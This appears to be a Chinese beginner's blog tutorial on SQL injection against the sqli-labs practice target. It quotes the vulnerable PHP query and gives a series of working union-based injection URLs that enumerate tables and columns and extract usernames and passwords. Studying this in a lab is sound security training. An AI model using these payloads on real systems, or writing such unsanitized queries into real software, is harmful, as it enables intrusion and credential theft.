前言:漏洞篇包含了一些常见的漏洞与某些常见的利用方法。
首先我们先了解一下Web应用技术是如何进行交互的。如图所示(图片来自《SQL注入攻击与防御》一书),这是常见的两种Web应用技术进行交互方法。从中我们不难看出——我们在对网站进行访问并进行数据调用的时候,实际上是数据库执行了一系列的sql语句。


那么我们可以想象一下,我们是不是可以通过修改sql语句来达到执行我们想执行的操作。好,那么我们现在就用下面这个案例进行演示,注意网址(先无须看懂,后面会讲细节)。








好,到这里我们就获得了数据库名。现在我开始具体的讲解。
首先,先介绍一下我用的是名叫phpStudy的PHP集成环境,下面是下载地址(我用的是2018版本)
https://www.xp.cn/download.html
靶场是sqli-labs,下面是下载地址
https://github.com/Audi-1/sqli-labs(具体的安装流程我会单独写一篇文章或者大家也可以在网上查)
现在开始讲原理。
1.判断注入点
我们想进行sql注入,我们就需要先判断注入点(是否能插入sql语句并然其执行)
如何判断呢?这里就不得不提到我们的and 1=1。
其实和许多语言一样,sql语句中也有and、or的用法。即
真 且 真 = 真
真 且 假 = 假
真 或 假 = 真
好,现在我们回到之前的案例中(%20是空格%27是单引号)
网页正常访问是:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2
然后我们改成了:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2 and 1=1(显示正常)
然后我们又改成了:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2 and 1=2(显示正常)
这是为什么?来,我们来看源代码(注意我框出来的地方)

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

来看第一句,第一句的意思是用get方式接受一个名为id的值,并把值赋给id(什么是get方式这个在下一篇文章里讲,这里不重要)。现在我们把之前id赋予与的值带进第二句去,然后再写出语句
$sql=“SELECT * FROM users WHERE id=‘2’ LIMIT 0,1”;
$sql=“SELECT * FROM users WHERE id=‘2 and 1=1’ LIMIT 0,1”;
$sql=“SELECT * FROM users WHERE id=‘2 and 1=2’ LIMIT 0,1”;
这里你会发现它把2 and 1=2看成了一个整体,大家可能问为什么还是出来id=2的时候的值
可以参考一下这个解释https://zhidao.baidu.com/question/1952853439075012508.html
我们通过and 1=1和and 1=2得出结论:这里无法注入(但没法判断是否是注入点),我们需要找别的方式试试。
这时我们给id赋值,id=2’ and 1=1
即http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2’ and 1=1
它会报错,“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1”
我们把它放在源代码中来理解一下
$sql=“SELECT * FROM users WHERE id=‘2’ and 1=1’ LIMIT 0,1”;
我们会明显发现多了一个单引号,所以说我们就需要把后面的单引号注释掉
http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' and 1=1--+
然后我们再写http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' and 1=2--+
这时网页没有数据回显,证明这里有注入点
2.查询字段数
在讲查询字段数之前,我们需要搞清楚什么是字段
如图所示,Mysql数据库里有多个数据库,数据库里有多个表,表里有多列,列里有数据
字段数就是数据表的列名数



我们想查询数据库的内容,就需要查询字段数(至于为什么一会讲)
而查询字段数的语法就是order by x
正如我前面的案例中的用法,通过不断的变换X的值来判断字段数,具体如下:

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 1--+
http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 2--+
http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 3--+
http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 4--+

(报错,证明字段数为3)
3.联合查询注入
到这一步我们也算真正意义上的注入了。在开讲之前,我们要把之前遗留的问题讲一下。
为什么需要查询字段数?
这个就与联合查询注入有关。所谓的联合查询注入就是用union连接两个查询语句。值得注意的是union 内部的 select 语句必须拥有相同数量的列。也就是说前后两个语句的字段数必须一样。
具体可以参考一下这篇文章https://www.jianshu.com/p/3a7363ffffac
好了,解释了为什么查询字段数,我们现在来剖析一下案例中的操作。
首先我进行了这么个操作:

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=-2' union select 1,2,3--+

有两个细节:
(1).-2
为什么是-2呢?目的是为了让前面一个查询语句返回为空。因为当前一个查询语句返回为空时,后一个查询语句返回的内容才有地方显现出来。
(2).union select 1,2,3
union select 1,2,3有什么用?它的用途是查找出那些地方有数据。(后面慢慢就理解了,也可以参考一下这篇文章https://blog.csdn.net/weixin_44840696/article/details/89166154)
好了,第一步讲完了,我们讲解第二步。
由于我们上一步知道了在2和3的位置有回显,那么我们就可以在这两个地方查询我们想要的东西。按照之前讲的Mysql数据库里有多个数据库,数据库里有多个表,表里有多列,列里有数据。所以说我们先查询数据库名,然后套娃就行。
所以我们就写:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=-2' union select 1,database(),3--+
到这里之前案例里内容结束了,后面是一个套路,我就不怎么讲了。只是提一下group_concat是把括号里所有的内容列出来。可以看一下下面两张对比图,也可以参考一下这篇文章:https://blog.csdn.net/qq_35531549/article/details/90383022

获取表名:
获取数据库名security下面的表名信息
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

获取列名:
获取数据库名security下的表名users下面列名信息
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and  table_schema='security'--+

获取数据:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+(limit 2,1 从2位置向后取1条记录。)


(ps:求各位看官给关注)

网络安全菜鸟学习之漏洞篇——sql(一)相关推荐

  1. 网络安全菜鸟学习之漏洞篇——XSS(一)

    之前我们简单的学习了sql注入(主要讲的是mysql数据库,其它数据库的到时候讲waf的时候会提一下),但我们没有学习waf的绕过.我个人的打算是等漏洞篇快结束的时候讲,到时候可以把学过的漏洞的绕过一 ...

  2. 网络安全菜鸟学习之漏洞篇——XXEXML注入

    这篇文章,我们来学习XXE&XML注入.(注:XXE注入,即XML External Entity,XML外部实体注入.) 老规矩,在开始前我们先了解一下什么是XML. 可扩展标记语言,标准通 ...

  3. 网络安全菜鸟学习之漏洞篇——逻辑漏洞(二)

    上篇文章我们学习了逻辑漏洞中的水平越权,这篇文章我们来学习垂直越权. 其实垂直越权也很简单.所谓的垂直越权就是通过一个普通用户去执行一个高权限用户的功能.因为他们的权限是有层次差的,所以被称为垂直越权 ...

  4. 网络安全菜鸟学习之漏洞篇——文件包含漏洞

    这篇文章我们来讲一下文件包含漏洞.至此之前我们先来回忆一下上一篇文章讲的漏洞.我们上一篇文章学习了文件上传漏洞.我们说我们要上传一个可执行木马文件到服务器才能进行操作.那么问题来了,我们能不能上传一个 ...

  5. 网络安全菜鸟学习之漏洞篇——弱口令安全

    写了这么久文章,我突然发现我还没有给大家讲弱口令的安全.所以,这篇文章我就带大家来学习一下弱口令安全. 首先,什么是弱口令?简单的来说就是密码设置的比较简单,或者说比较的容易被爆破出来. 比如我用in ...

  6. 米斯特白帽培训讲义 漏洞篇 SQL 注入

    米斯特白帽培训讲义 漏洞篇 SQL 注入 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理与危害 SQL 注入就是指,在输入的字符串中注入 SQL 语句,如果应用相信用户 ...

  7. 渗透学习笔记--基础篇--sql注入(数字型)

    环境:dvwa 1.7数据库:mysql dvwa的安全等级:medium 一.分析和查找注入点 (1)知识点回顾 如果上一篇有好好读过的同学应该知道,我们上一篇遇到的字符型注入.也即是通过Get或者 ...

  8. python学习 第七篇 sql优化

    查询单条语句:用来获取用户列表和单个用户 >>> fields=["id","name","name_cn"," ...

  9. Python菜鸟学习之基础篇(持续学习中)

    0.Python的一些命名规范: 1)项目名称:首字母大写+大写式驼峰,如:ProjectName 2)模块名和包名:全部小写+下划线驼峰,如:module_name 3)类名称,异常:首字母大写+大 ...

最新文章

  1. 华数机器人码垛_冲压机器人研究现状与发展方向
  2. 认识flask框架-2
  3. Nat. Med. | 制定指导原则以报告AI在临床试验中的使用
  4. 做一个”合格“的程序员(二)——学习管理
  5. 电气论文实现:应用转移因子法求解大规模电力网络潮流
  6. mysql 36条军规_mysql开发36条军规(转)
  7. Angular 里 unknown 和 any 的区别
  8. 错误175:具有固定名称MySql.Data.MySqlClient的ADO.NET提供程序未在计算机或者应用程序配置文件中注册或者无法加载
  9. php字节怎么转化成字符串,php将utf-8(3字节)字符串转换成字节
  10. 字符串逆序(三种方法)
  11. jemalloc疑似内存泄漏分析
  12. steam安裝位置linux,「Linux」- 安装 Steam 客户端 @20210219
  13. bat脚本修改文件内容
  14. Desktoppr与 Dropbox国内成功使用
  15. AES简介加密算法介绍
  16. 在python中用于获取用户输入的是-在Python中,用于获取用户输入的函数是
  17. confluence 空间复制
  18. (亲测可行)charles抓包夜神模拟器保姆级教程
  19. 地图定位技术揭秘(一)
  20. FCOS—分割思想做目标检测

热门文章

  1. 鲁大师2021半年报手机排行:骁龙888旗舰霸榜,鸿蒙OS首次上榜
  2. nLite工具集成驱动到windows安装光盘(操作简化版)
  3. 第二讲资金的来源与利润的产生(财务分析与决策)
  4. div+CSS3实现圆角按钮代码
  5. 计算机二级二叉树解题技巧,计算机二级选择题技巧(六)二叉树的分类与性质...
  6. 需要管理员权限才能删除文件解决方法
  7. java 编程 电话按键盘_Greenfoot【java学习】-键盘控制
  8. 翻译英语的软件-跨境必备翻译软件免费
  9. XML语法以及DTD的详解
  10. 12.5m高程数据DEM,导入大疆精灵4RTK,M300仿地飞行